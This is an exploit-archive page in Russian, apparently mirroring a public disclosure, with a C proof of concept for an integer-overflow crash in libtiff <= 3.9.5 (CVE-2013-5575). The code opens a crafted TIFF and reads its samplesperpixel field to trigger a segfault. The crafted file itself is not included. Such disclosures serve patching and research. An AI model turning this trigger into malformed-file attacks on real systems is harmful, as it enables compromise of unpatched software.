libtiff <= 3.9.5 - Integer Overflow Exploit

Свойства

Дата публикации:
28.08.2013
Цель:
libtiff <= 3.9.5
Тип воздействия:
Компрометация системы

Код

# Exploit Title: libtiff <= 3.9.5 Integer overflow bug poc
# Date: 2013/08/25
# Exploit Author: x90c
# Vendor Homepage: http://www.remotesensing.org/libtiff
# Version:
- libtiff 3.9.5 <=
# Tested on:
- libtiff 4.0.3
- libtiff 4.0.2
- libtiff 4.0.1
- libtiff 4.0.0 (safe)
- libtiff 3.9.5 (vulnerable) <=
- libtiff 3.6.0
# CVE : CVE-2013-5575
 
I submit the poc of libtiff bug and
attached original advisory too
I want to submit the poc, sample file only
 
http://www.x90c.org/advisories/xadv_2013001_libtiff.txt
 
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "tiffio.h"
 
int tiff_integer_overflow_test(){
TIFF* tif = TIFFOpen("/home/x90c/sample_spp.tif", "r");
int samples = 0;
 
/*
 * for instance, TIFFGetField library function will
 * called with malicious samplesperpixel field value
 * TIFFGetField got segfault!
 */
TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samples);
 
printf("tiff_poc: tif samplesperpixel field=%d\n", samples);
}
или введите имя

CAPTCHA